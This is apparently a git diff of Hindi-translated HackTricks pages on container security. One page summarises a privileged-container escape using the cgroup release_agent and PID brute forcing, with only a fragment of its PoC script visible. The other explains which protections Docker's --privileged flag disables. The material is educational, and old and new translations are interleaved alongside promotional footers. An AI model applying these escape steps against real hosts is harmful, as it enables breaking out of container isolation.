* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** ट्विटर पर **फॉलो** करें 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **हैकिंग ट्रिक्स साझा करें, HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
*चेक करें [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop)!haktick\_ive\
* **जुड़ें 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}

View file

@ -1,36 +1,38 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks का समर्थन करने के अन्य तरीके:
* अगर आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** पर फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks) github repos में PRs सबमिट करके।
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
{% endhint %}
अधिक विवरण के लिए **[https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)** से ब्लॉग पोर्ट जांचें। यह केवल एक सारांश है:
अधिक जानकारी के लिए **[https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)** से ब्लॉग पोर्ट की जांच करें। यह केवल एक सारांश है:
तकनीक एक विधि की रूपरेखा प्रस्तुत करती है जिससे **एक कंटेनर के भीतर से होस्ट कोड का निष्पादन** किया जा सकता है, जिससे संग्रह ड्राइवर कॉन्फ़िगरेशन की चुनौतियों को पार किया जा सकता है जो होस्ट पर कंटेनर के फ़ाइल सिस्टम पथ को अस्पष्ट करते हैं, जैसे काटा कंटेनर्स या विशेष `devicemapper` सेटिंग्स।
यह तकनीक **कंटेनर के भीतर से होस्ट कोड निष्पादित करने** के लिए एक विधि का वर्णन करती है, जो स्टोरेज-ड्राइवर कॉन्फ़िगरेशन द्वारा उत्पन्न चुनौतियों को पार करती है जो होस्ट पर कंटेनर की फ़ाइल प्रणाली के पथ को अस्पष्ट करती हैं, जैसे कि काता कंटेनर या विशिष्ट `devicemapper` सेटिंग्स।
मुख्य कदम:
मुख्य चरण:
1. **प्रक्रिया आईडी (PIDs) का पता लगाना:** लिनक्स प्सेडो-फाइलसिस्टम में `/proc/<pid>/root` प्रतीकात्मक लिंक का उपयोग करके, कंटेनर के भीतर किसी भी फ़ाइल तक होस्ट के फ़ाइल सिस्टम के संदर्भ में पहुंचा जा सकता है। यह होस्ट पर कंटेनर के फ़ाइल सिस्टम पथ को जानने की आवश्यकता को अनदेखा करता है।
2. **PID Bashing:** होस्ट पर PIDs की खोज के लिए एक ब्रूट फ़ोर्स दृष्टिकोण का उपयोग किया जाता है। यह `/proc/<pid>/root/<file>` पर एक विशिष्ट फ़ाइल की मौजूदगी की जांच करके किया जाता है। जब फ़ाइल मिल जाती है, तो यह स्पष्ट करता है कि संबंधित PID एक प्रक्रिया का हिस्सा है जो लक्षित कंटेनर के भीतर चल रही है।
3. **निष्पादन को ट्रिगर करना:** अनुमानित PID पथ को `cgroups release_agent` फ़ाइल में लिखा जाता है। यह कार्रवाई `release_agent` का निष्पादन करती है। इस कदम की सफलता की पुष्टि एक आउटपुट फ़ाइल के निर्माण की जांच करके की जाती है।
1. **प्रोसेस आईडी (PIDs) का पता लगाना:** लिनक्स प्सेडो-फाइल सिस्टम में `/proc/<pid>/root` प्रतीकात्मक लिंक का उपयोग करके, कंटेनर के भीतर किसी भी फ़ाइल को होस्ट की फ़ाइल प्रणाली के सापेक्ष एक्सेस किया जा सकता है। यह होस्ट पर कंटेनर की फ़ाइल प्रणाली के पथ को जानने की आवश्यकता को दरकिनार करता है।
2. **PID बाशिंग:** होस्ट पर PIDs के माध्यम से खोजने के लिए एक ब्रूट फोर्स दृष्टिकोण का उपयोग किया जाता है। यह `/proc/<pid>/root/<file>` पर एक विशिष्ट फ़ाइल की उपस्थिति की जांच करके किया जाता है। जब फ़ाइल मिलती है, तो यह संकेत करता है कि संबंधित PID उस प्रक्रिया से संबंधित है जो लक्षित कंटेनर के भीतर चल रही है।
3. **निष्पादन को ट्रिगर करना:** अनुमानित PID पथ को `cgroups release_agent` फ़ाइल में लिखा जाता है। यह क्रिया `release_agent` के निष्पादन को ट्रिगर करती है। इस चरण की सफलता की पुष्टि आउटपुट फ़ाइल के निर्माण की जांच करके की जाती है।
### शोषण प्रक्रिया
शोषण प्रक्रिया में एक अधिक विस्तृत कार्रवाई का सेट होता है, जिसका उद्देश्य कंटेनर के भीतर चल रही प्रक्रिया के सही PID को अनुमानित करके होस्ट पर एक पेलोड का निष्पादन करना है। यहाँ देखें कैसे यह होता है:
शोषण प्रक्रिया में अधिक विस्तृत क्रियाओं का एक सेट शामिल है, जिसका उद्देश्य कंटेनर के भीतर चल रही प्रक्रिया के सही PID का अनुमान लगाकर होस्ट पर एक पेलोड निष्पादित करना है। यह इस प्रकार विकसित होता है:
1. **पर्यावरण की प्रारंभिककरण:** होस्ट पर एक पेलोड स्क्रिप्ट (`payload.sh`) तैयार किया जाता है, और cgroup मेनिपुलेशन के लिए एक अद्वितीय निर्देशिका बनाई जाती है।
2. **पेलोड तैयार करें:** पेलोड स्क्रिप्ट, जिसमें होस्ट पर निष्पादित करने के लिए आदेश होते हैं, लिखा जाता है और क्रियाशील बनाया जाता है।
3. **Cgroup सेटअप:** cgroup माउंट किया जाता है और कॉन्फ़िगर किया जाता है। `notify_on_release` ध्वज सेट किया जाता है ताकि पेलोड जब cgroup रिलीज़ होता है तो निष्पादित हो
4. **ब्रूट फोर्स PID:** एक लूप संभावित PIDs के माध्यम से चलता है, प्रत्येक अनुमानित PID को `release_agent` फ़ाइल में लिखता है। यह प्रभावी रूप से पेलोड स्क्रिप्ट को `release_agent` के रूप में सेट करता है।
5. **निष्पादन को ट्रिगर करें और जांचें:** प्रत्येक PID के लिए, cgroup का `cgroup.procs` लिखा जाता है, जिससे `release_agent` का निष्पादन होता है अगर PID सही है। लूप जारी रहता है जब तक पेलोड स्क्रिप्ट का आउटपुट मिलता है, जिससे सफल निष्पादन की पुष्टि होती है।
1. **पर्यावरण को प्रारंभ करें:** होस्ट पर एक पेलोड स्क्रिप्ट (`payload.sh`) तैयार की जाती है, और cgroup हेरफेर के लिए एक अद्वितीय निर्देशिका बनाई जाती है।
2. **पेलोड तैयार करें:** पेलोड स्क्रिप्ट, जिसमें होस्ट पर निष्पादित होने वाले आदेश होते हैं, लिखी जाती है और इसे निष्पादन योग्य बनाया जाता है।
3. **Cgroup सेट करें:** cgroup को माउंट और कॉन्फ़िगर किया जाता है। यह सुनिश्चित करने के लिए `notify_on_release` ध्वज सेट किया जाता है कि जब cgroup को जारी किया जाता है तो पेलोड निष्पादित होता है
4. **ब्रूट फोर्स PID:** एक लूप संभावित PIDs के माध्यम से दोहराता है, प्रत्येक अनुमानित PID को `release_agent` फ़ाइल में लिखता है। यह प्रभावी रूप से पेलोड स्क्रिप्ट को `release_agent` के रूप में सेट करता है।
5. **निष्पादन को ट्रिगर और जांचें:** प्रत्येक PID के लिए, cgroup का `cgroup.procs` लिखा जाता है, यदि PID सही है तो `release_agent` के निष्पादन को ट्रिगर करता है। लूप तब तक जारी रहता है जब तक पेलोड स्क्रिप्ट का आउटपुट नहीं मिल जाता, जो सफल निष्पादन को इंगित करता है।
ब्लॉग पोस्ट से PoC:
```bash
@ -92,16 +94,19 @@ sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}
```
{% hint style="success" %}
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks का समर्थन करें</summary>
दूसरे तरीके HackTricks का समर्थन करने के लिए:
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह **The PEASS Family** की खोज करें
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** पर फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}
</details>
{% endhint %}

View file

@ -1,32 +1,39 @@
# Docker --privileged
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित देखना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** **ट्विटर** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)\*\* पर फॉलो\*\* करें।
* **अपने हैकिंग ट्रिक्स साझा करें,** [**hacktricks रेपो**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud रेपो**](https://github.com/carlospolop/hacktricks-cloud) **में PR जमा करके**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## क्या प्रभावित होता है
## What Affects
जब आप एक कंटेनर को --privileged के रूप में चलाते हैं, तो आप इन सुरक्षा उपायों को अक्षम कर देते हैं:
जब आप एक कंटेनर को विशेषाधिकार प्राप्त के रूप में चलाते हैं, तो ये सुरक्षा उपाय हैं जिन्हें आप निष्क्रिय कर रहे हैं:
### /dev माउंट करें
### Mount /dev
एक --privileged कंटेनर में, सभी **डिवाइस /dev/ में पहुंच सकते हैं**। इसलिए आप **माउंट करके** होस्ट के डिस्क से **बाहर निकल** सकते हैं
एक विशेषाधिकार प्राप्त कंटेनर में, सभी **डिवाइस `/dev/` में पहुंचा जा सकता है**। इसलिए आप **माउंटिंग** करके होस्ट के डिस्क से **भाग सकते हैं**
{% tabs %}
{% tab title="Inside default container" %}
```bash
# docker run --rm -it alpine sh
ls /dev
console fd mqueue ptmx random stderr stdout urandom
core full null pts shm stdin tty zero
```
{% endtab %}
{% tab title="विशेषाधिकार प्राप्त कंटेनर के अंदर" %}
```bash
# docker run --rm --privileged -it alpine sh
ls /dev
@ -36,11 +43,15 @@ core mqueue ptmx stdin tty26
cpu nbd0 pts stdout tty27 tty47 ttyS0
[...]
```
{% endtab %}
{% endtabs %}
#### केवल पढ़ने योग्य कर्नेल फ़ाइल सिस्टम
### केवल-पढ़ने योग्य कर्नेल फ़ाइल सिस्टम
कर्नेल फ़ाइल सिस्टम एक प्रक्रिया के लिए कर्नेल के व्यवहार को संशोधित करने का एक तंत्र प्रदान करते हैं। हालांकि, जब यह कंटेनर प्रक्रियाएँ होती हैं, तो हम चाहते हैं कि उन्हें कर्नेल में कोई भी परिवर्तन न करने दिया जाए। इसलिए, हम कर्नेल फ़ाइल सिस्टम को कंटेनर के भीतर **केवल पढ़ने योग्य** रूप में माउंट करते हैं, यह सुनिश्चित करते हैं कि कंटेनर प्रक्रियाएँ कर्नेल को संशोधित नहीं कर सकतीं।
कर्नेल फ़ाइल सिस्टम एक प्रक्रिया क कर्नेल के व्यवहार को संशोधित करने का तंत्र प्रदान करते हैं। हालाँकि, जब कंटेनर प्रक्रियाओं की बात आती है, तो हम उन्हें कर्नेल में कोई परिवर्तन करने से रोकना चाहते हैं। इसलिए, हम कर्नेल फ़ाइल सिस्टम को कंटेनर के भीतर **केवल-पढ़ने योग्य** के रूप में माउंट करते हैं, यह सुनिश्चित करते हुए कि कंटेनर प्रक्रियाएँ कर्नेल को संशोधित नहीं कर सकतीं।
{% tabs %}
{% tab title="डिफ़ॉल्ट कंटेनर के अंदर" %}
```bash
# docker run --rm -it alpine sh
mount | grep '(ro'
@ -49,18 +60,22 @@ cpuset on /sys/fs/cgroup/cpuset type cgroup (ro,nosuid,nodev,noexec,relatime,cpu
cpu on /sys/fs/cgroup/cpu type cgroup (ro,nosuid,nodev,noexec,relatime,cpu)
cpuacct on /sys/fs/cgroup/cpuacct type cgroup (ro,nosuid,nodev,noexec,relatime,cpuacct)
```
{% endtab %}
{% tab title="विशिष्ट कंटेनर के अंदर" %}
```bash
# docker run --rm --privileged -it alpine sh
mount | grep '(ro'
```
{% endtab %}
{% endtabs %}
### कर्नेल फ़ाइल सिस्टम को मास्क करना
### कर्नेल फ़ाइल सिस्टम पर मास्किंग
**/proc** फ़ाइल सिस्टम को चयनित रूप से लिखने योग्य है लेकिन सुरक्षा के लिए, कुछ हिस्से लिखने और पढ़ने की पहुंच को रोकने के लिए उन्हें **tmpfs** से ढक दिया गया है, यह सुनिश्चित करता है कि कंटेनर प्रक्रियाएँ संवेदनशील क्षेत्रों तक पहुंच नहीं पा सकतीं।
**/proc** फ़ाइल प्रणाली चयनात्मक रूप से लिखने योग्य है लेकिन सुरक्षा के लिए, कुछ भागों को **tmpfs** के साथ ओवरले करके लिखने और पढ़ने की पहुंच से ढक दिया गया है, यह सुनिश्चित करते हुए कि कंटेनर प्रक्रियाएँ संवेदनशील क्षेत्रों तक नहीं पहुँच सकतीं।
{% hint style="info" %}
**tmpfs** एक फ़ाइल सिस्टम है जो सभी फ़ाइलों को वर्चुअल मेमोरी में स्टोर करता है। tmpfs आपके हार्ड ड्राइव पर कोई फ़ाइल नहीं बनाता है। इसलिए अगर आप एक tmpfs फ़ाइल सिस्टम को अनमाउंट करते हैं, तो उसमें रहने वाली सभी फ़ाइलें हमेशा के लिए खो जाती हैं।
**tmpfs** एक फ़ाइल प्रणाली है जो सभी फ़ाइलों को वर्चुअल मेमोरी में संग्रहीत करती है। tmpfs आपके हार्ड ड्राइव पर कोई फ़ाइलें नहीं बनाती। इसलिए यदि आप एक tmpfs फ़ाइल प्रणाली को अनमाउंट करते हैं, तो इसमें मौजूद सभी फ़ाइलें हमेशा के लिए खो जाती हैं।
{% endhint %}
{% tabs %}
@ -74,15 +89,17 @@ tmpfs on /proc/keys type tmpfs (rw,nosuid,size=65536k,mode=755)
```
{% endtab %}
{% tab title="प्रिविलेज्ड कंटेनर के अंदर" %}
{% tab title="विशिष्ट कंटेनर के अंदर" %}
```bash
# docker run --rm --privileged -it alpine sh
mount | grep /proc.*tmpfs
```
{% endtab %}
{% endtabs %}
#### लिनक्स क्षमताएँ
### Linux क्षमताएँ
कंटेनर इंजन डिफ़ॉल्ट रूप से कंटेनर को अंदर क्या हो रहा है को नियंत्रित करने के लिए **कुछ सीमित संख्या की क्षमताएँ** के साथ चलाता है। **विशेषाधिकृत** वाले में **सभी** **क्षमताएँ** एक्सेस करने के योग्य होती हैं। क्षमताओं के बारे में जानने के लिए पढ़ें:
कंटेनर इंजन कंटेनरों को **सीमित संख्या में क्षमताओं** के साथ लॉन्च करते हैं ताकि डिफ़ॉल्ट रूप से कंटेनर के अंदर क्या होता है, उसे नियंत्रित किया जा सके। **विशेषाधिकार प्राप्त** वाले सभी **क्षमताओं** तक पहुँच रखते हैं। क्षमताओं के बारे में जानने के लिए पढ़ें:
{% content-ref url="../linux-capabilities.md" %}
[linux-capabilities.md](../linux-capabilities.md)
@ -100,7 +117,7 @@ Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setg
```
{% endtab %}
{% tab title="प्रबलीकृत कंटेनर के अंदर" %}
{% tab title="विशेषाधिकार प्राप्त कंटेनर के अंदर" %}
```bash
# docker run --rm --privileged -it alpine sh
apk add -U libcap; capsh --print
@ -112,16 +129,18 @@ Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fset
{% endtab %}
{% endtabs %}
आप डॉकर मोड में `--privileged` चलाए बिना एक कंटेनर के लिए उपलब्ध क्षमताओं को परिवर्तित कर सकते हैं `--cap-add` और `--cap-drop` फ्लैग्स का उपयोग करके
आप `--privileged` मोड में चलाए बिना कंटेनर के लिए उपलब्ध क्षमताओं को `--cap-add` और `--cap-drop` ध्वजों का उपयोग करके हेरफेर कर सकते हैं
#### Seccomp
### Seccomp
**Seccomp** एक कंटेनर द्वारा कॉल किए जा सकने वाले **syscalls** को **सीमित** करने के लिए उपयोगी है। डॉकर कंटेनर चलाने पर एक डिफ़ॉल्ट सेकॉम्प प्रोफ़ाइल सक्षम होता है, लेकिन विशेषाधिकारित मोड में यह अक्षम हो जाता है। Seccomp के बारे में अधिक जानें यहाँ:
**Seccomp** एक कंटेनर द्वारा कॉल किए जा सकने वाले **syscalls** को **सीमित** करने के लिए उपयोगी है। डॉकर कंटेनरों को चलाते समय एक डिफ़ॉल्ट सेकंप प्रोफ़ाइल डिफ़ॉल्ट रूप से सक्षम होती है, लेकिन विशेषाधिकार मोड में यह अक्षम होती है। Seccomp के बारे में अधिक जानें यहाँ:
{% content-ref url="seccomp.md" %}
[seccomp.md](seccomp.md)
{% endcontent-ref %}
{% tabs %}
{% tab title="Inside default container" %}
```bash
# docker run --rm -it alpine sh
grep Seccomp /proc/1/status
@ -130,7 +149,7 @@ Seccomp_filters: 1
```
{% endtab %}
{% tab title="प्रबलीकृत कंटेनर के अंदर" %}
{% tab title="विशेषाधिकार प्राप्त कंटेनर के अंदर" %}
```bash
# docker run --rm --privileged -it alpine sh
grep Seccomp /proc/1/status
@ -139,46 +158,42 @@ Seccomp_filters: 0
```
{% endtab %}
{% endtabs %}
```bash
# You can manually disable seccomp in docker with
--security-opt seccomp=unconfined
```
ध्यान दें कि जब **Kubernetes** क्लस्टर में Docker (या अन्य CRIs) का उपयोग किया जाता है, तो **seccomp फ़िल्टर** डिफ़ॉल्ट रूप से अक्षम हो जाता है।
Also, note that when Docker (or other CRIs) are used in a **Kubernetes** cluster, the **seccomp filter is disabled by default**
### AppArmor
**AppArmor** एक कर्नेल एन्हांसमेंट है जो **कंटेनर** को **सीमित** संसाधनों के साथ **प्रति-प्रोग्राम प्रोफ़ाइल** में सीमित करने के लिए है। जब आप `--privileged` फ़्लैग के साथ चलाते हैं, यह सुरक्षा अक्षम हो जाती है।
**AppArmor** एक कर्नेल संवर्धन है जो **कंटेनरों** को **सीमित** संसाधनों के सेट में **प्रति-कार्यक्रम प्रोफाइल** के साथ सीमित करता है। जब आप `--privileged` ध्वज के साथ चलाते हैं, तो यह सुरक्षा अक्षम हो जाती है।
{% content-ref url="apparmor.md" %}
[apparmor.md](apparmor.md)
{% endcontent-ref %}
```bash
# You can manually disable seccomp in docker with
--security-opt apparmor=unconfined
```
### SELinux
कंटेनर को `--privileged` फ्लैग के साथ चलाने से **SELinux लेबल** निष्क्रिय हो जाते हैं, जिससे यह कंटेनर इंजन का लेबल विरासत में प्राप्त करता है, सामान्यत: `unconfined`, पूर्ण पहुंच प्रदान करते हुए। रूटलेस मोड में, यह `container_runtime_t` का उपयोग करता है, जबकि रूट मोड में, `spc_t` लागू होता है।
`--privileged` ध्वज के साथ कंटेनर चलाने से **SELinux लेबल** अक्षम हो जाते हैं, जिससे यह कंटेनर इंजन का लेबल विरासत में लेता है, आमतौर पर `unconfined`, जो कंटेनर इंजन के समान पूर्ण पहुंच प्रदान करता है। रूटलेस मोड में, यह `container_runtime_t` का उपयोग करता है, जबकि रूट मोड में, `spc_t` लागू होता है।
{% content-ref url="../selinux.md" %}
[selinux.md](../selinux.md)
{% endcontent-ref %}
```bash
# You can manually disable selinux in docker with
--security-opt label:disable
```
## क्या प्रभावित नहीं करता
## क्या प्रभावित नहीं होता
### नामस्थान
### नेमस्पेस
नेमस्पेस `--privileged` फ्लैग द्वारा **प्रभावित नहीं** होते हैं। यहाँ तक कि जब उनमें सुरक्षा प्रतिबंध सक्षम नहीं होता, तो **वे सिस्टम पर सभी प्रक्रियाएँ या मुख्य नेटवर्क को नहीं देखते हैं, उदाहरण के लिए**। उपयोगकर्ता **`--pid=host`, `--net=host`, `--ipc=host`, `--uts=host`** कंटेनर इंजन फ्लैग का उपयोग करके व्यक्तिगत नेमस्पेस को अक्षम कर सकते हैं।
Namespaces **प्रभावित नहीं होते** `--privileged` ध्वज द्वारा। भले ही उनके पास सुरक्षा प्रतिबंध सक्षम नहीं हैं, वे **सिस्टम या होस्ट नेटवर्क पर सभी प्रक्रियाओं को नहीं देखते, उदाहरण के लिए**। उपयोगकर्ता **`--pid=host`, `--net=host`, `--ipc=host`, `--uts=host`** कंटेनर इंजन ध्वजों का उपयोग करके व्यक्तिगत नामस्थान को अक्षम कर सकते हैं।
{% tabs %}
{% tab title="डिफ़ॉल्ट विशेषाधिकार प्राप्त कंटेनर के अंदर" %}
```bash
# docker run --rm --privileged -it alpine sh
ps -ef
@ -186,9 +201,9 @@ PID USER TIME COMMAND
1 root 0:00 sh
18 root 0:00 ps -ef
```
{% endtab %}
\{% टैब शीर्षक="अंदर --pid=host कंटेनर" %\}
{% tab title="अंदर --pid=host कंटेनर" %}
```bash
# docker run --rm --privileged --pid=host -it alpine sh
ps -ef
@ -198,23 +213,28 @@ PID USER TIME COMMAND
3 root 0:00 [rcu_gp]ount | grep /proc.*tmpfs
[...]
```
{% endtab %}
{% endtabs %}
### उपयोगकर्ता नेमस्पेस
### उपयोगकर्ता नामस्थान
**डिफ़ॉल्ट रूप से, कंटेनर इंजन यूजर नेमस्पेस का उपयोग नहीं करते हैं, केवल रूटलेस कंटेनर के लिए**, जो फ़ाइल सिस्टम माउंटिंग और एक से अधिक यूआईडी का उपयोग करने के लिए इसकी आवश्यकता होती है। यूजर नेमस्पेस, जो रूटलेस कंटेनर के लिए अनिवार्य हैं, को अक्षम नहीं किया जा सकता और विशेष रूप से सुरक्षा को बढ़ाते हैं जो विशेषाधिकारों को प्रतिबंधित करते हैं।
**डिफ़ॉल्ट रूप से, कंटेनर इंजन उपयोगकर्ता नामस्थान का उपयोग नहीं करते हैं, सिवाय रूटलेस कंटेनरों के**, जिन्हें फ़ाइल सिस्टम माउंटिंग और कई UID का उपयोग करने के लिए इसकी आवश्यकता होती है। उपयोगकर्ता नामस्थान, जो रूटलेस कंटेनरों के लिए अनिवार्य हैं, को बंद नहीं किया जा सकता है और यह विशेषाधिकारों को सीमित करके सुरक्षा को महत्वपूर्ण रूप से बढ़ाते हैं।
## संदर्भ
* [https://www.redhat.com/sysadmin/privileged-flag-container-engines](https://www.redhat.com/sysadmin/privileged-flag-container-engines)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी का हैकट्रिक्स में विज्ञापन देखना चाहते हैं**? या क्या आपको **PEASS के नवीनतम संस्करण या हैकट्रिक्स को पीडीएफ़ में डाउनलोड करने का एक्सेस चाहिए**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जाँच करें!
* [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**एनएफटीएस**](https://opensea.io/collection/the-peass-family) संग्रह।
* [**आधिकारिक PEASS और हैकट्रिक्स स्वैग**](https://peass.creator-spring.com) प्राप्त करें।
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** पर फ़ॉलो करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**।**
